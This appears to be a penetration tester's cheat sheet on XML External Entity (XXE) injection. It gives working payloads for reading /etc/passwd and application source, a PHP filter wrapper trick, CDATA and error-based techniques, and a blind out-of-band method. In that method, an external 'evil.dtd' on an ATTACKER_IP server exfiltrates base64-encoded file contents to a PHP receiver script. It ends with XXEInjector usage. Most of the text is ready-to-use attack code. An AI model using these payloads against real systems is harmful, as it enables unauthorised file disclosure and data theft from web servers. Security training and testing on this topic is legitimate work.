PRIMARY CATEGORY → XXE

Once we detect that a web application does not validate and sanitize the XML data that an HTTP client sends, we could try to define an XML External Entity in order to disclose local files on the web server

Simple XXE

e.g. file://<FILE_PATH>

We must identify which data we send is reflected in the HTTP response. After that, it’s as simple as defining an External Entity and referencing it in the given field where the data is reflected

To do so, proceed as follows

Payload
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [
		<!ENTITY bar SYSTEM "file:///etc/passwd">
	]>
...<SNIP>...
	<email>
		&bar;
	</email>

PHP Filter Wrapper XXE

For PHP web applications

There are situations where the output of the specified file we are trying to list may break the XML format

So, it is mandatory to modify the data output stream to receive it in other encoding format, such as base64, ROT13 or another

For example, it applies to the PHP files, which may contain XML sensitive chars. Therefore, we can use the PHP Filter Wrapper

Payload
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [
		<!ENTITY bar SYSTEM "php://filter/convert.base64-encode/resource=index.php">
	]>
...<SNIP>...
	<email>
		&bar;
	</email>

CDATA XXE

Any web application other than PHP

As with the previous technique, there are other ways to extract any kind of data, which may break the XML format, apart from PHP Wrappers, which is useful when the web application does not run PHP

We can use the CDATA tag to wrapp the content of any external file reference

<![CDATA[<FILE_CONTENT>]]>

This way, the XML parser would consider this part as raw data, which can contain any type of data, including any special characters

Therefore, we must define four XML Parameter Entities to build the above structure

<!DOCTYPE foo [
	<!ENTITY % start "<![CDATA[">
	<!ENTITY % file SYSTEM "file:///var/www/html/index.php">
	<!ENTITY % end "]]>">
	<!ENTITY % all "<!ENTITY content '%start;%file;%end;'">
	%all;
]>

And then, we reference the declared entity

<element>&content;</element>

The problem of this approach is that it will cause an error during the XML parsing as the index.php file likely contains special chars, and with internal definitions, as is the case, the XML parser processes and validates every line, so an error will occur when the file parameter entity is expanded since it contains special chars

That’s not the case when we create an external DTD with all the above parameter entity definitions and load it using another parameter entity

The XML parser is more permissive as it processes all lines before proceed with the validation, so the %all; entity can be load in memory without any error, as there is no validation at that moment, and be referenced later

Creating an external DTD

So, as stated, we must create an external DTD to avoid any errors during the XML parsing as the parser processes all the lines and then validates them

Unlike the internal definitions, where the parser processes and validates line by line

#1
evil.dtd
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/index.php">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">
#2
evil.dtd
echo '<!ENTITY all "%start;%file;%end;">' > evil.dtd
Setting up a HTTP Server
python3 -m http.server 80
Sending the XXE Payload
#1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
	%dtd;
	%all;
]>
...<SNIP>...
<element>&content;</element>
#2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE [
	<!ENTITY % start "<![CDATA[">
	<!ENTITY % file "file:///var/www/html/index.php">
	<!ENTITY % end "]]>">
	<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
	%dtd;
]>
...<SNIP>...
<element>&all;</element>

This technique can become very handy when the basic XXE method does not work and the web application we are dealing with does not run PHP


Error Based XXE

We will tipically be dealing with web applications that do not output any results once we send the XML data. So, we cannot control any data since no data is displayed in the response

In these cases, we are blind to the XML output, therefore we cannot retrieve any data with the previous methods

However, the web application may not have a proper exception handling for the XML input, so we can use this flaw to read the output of the XXE exploit

To do so, proceed as follows

Creating an external DTD

Once again, we have to create an external DTD to prevent errors during the process-then-validation line by line carried out by the XML parser

Remember that by creating an external DTD and referencing it from the sent payload, we ensure that the XML parser first processes all the lines and then validates them

evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

Doing so, first we define a parameter entity ( %file ) that stores the content of the given file, and then we define another parameter entity ( %error )

The latter tries to define a normal entity ( content ) by using SYSTEM and referencing a non-existing entity ( %nonExistingEntity ) and the parameter entity declared previously ( %file )

Setting up an HTTP Server
python3 -m http.server 80
Sending the XXE Payload

Lastly, we send the following XXE payload, which loads the external DTD and references the given entities to generate the error and subsequently retrive the content of the given file

<!DOCTYPE foo [
	<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
	%dtd;
	%error;
]>

Blind OOB XXE

When we talk about a Blind XXE, we should know that we do not recieve neither any output from the XML entities we define before sending the payload nor any PHP errors displayed

Manual

So, once again, due to the limitation applied to the internal subset during the XML processing carried out by the parser, where it processes the external parameter entity declaration but does not populate its content with the referenced resource, we cannot define all the parameter entity statements within the internal subset ( internal DTD ) as the parser does not support external parameter entity references within a entity declaration, such as follows

Bad
<!DOCTYPE foo [
	<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
	<!ENTITY % param1 "<!ENTITY content 'http://<ATTACKER>:<PORT>/%file;>'">
	%param1;
]>
<element>&content;</element>

As stated, the above structure will not work as within the internal subset ( DTD ), there is an external parameter entity ( %file ) which is being referenced within the declaration of another parameter entity ( %param1 )

Therefore, in order to accomplish the Out-of-Band XXE, we must create an external DTD and set up an HTTP server hosting the given resource

Creating an External DTD
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ATTACKER_IP>:<PORT>/?content=%file;>'">
Setting up an HTTP server

Before setting up the server, we will create a PHP script called index.php, which will process the given HTTP parameter and base64-decode its content

index.php
<?php
if (isset($_GET['content']))
{
	print_r("\n\n" . base64_decode($_GET['content']));
} else {
	die("HTTP Parameter not specified");
}

Then, we set up an HTTP server

php -S 0.0.0.0:<PORT>
Sending the XXE Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>:<PORT>/evil.dtd">
	%dtd;
	%oob;
]>
<element>&content;</element>
Automatic
XXEInjector

XXEInjector

  • Setup
git clone https://github.com/enjoiz/XXEinjector XXEInjector
cd !$
  • Usage

Once we have cloned the git repository, we can use an HTTP proxy, such as BURP, to intercept the given request and copy its content to a file in order to pass it to the tool, such as follows

ruby XXEInjector.rb --host=<ATTACKER_IP> --httpport=<ATTACKER_PORT> --file=<REQUEST_FILE> --path=<FILE_TO_DISCLOSE> --oob=http --phpfilter

But, before running the command above, we must set up an HTTP server

php -S 0.0.0.0:<PORT>

The fist command will perform an OOB XXE, like the [[#Blind OOB XXE#Manual|manual]] method

Then, we will find the output of the specified file under this path, within the tool directory

Logs/<TARGET>/<RESOURCE_FULL_PATH>.log # e.g. Logs/10.129.201.94/etc/passwd.log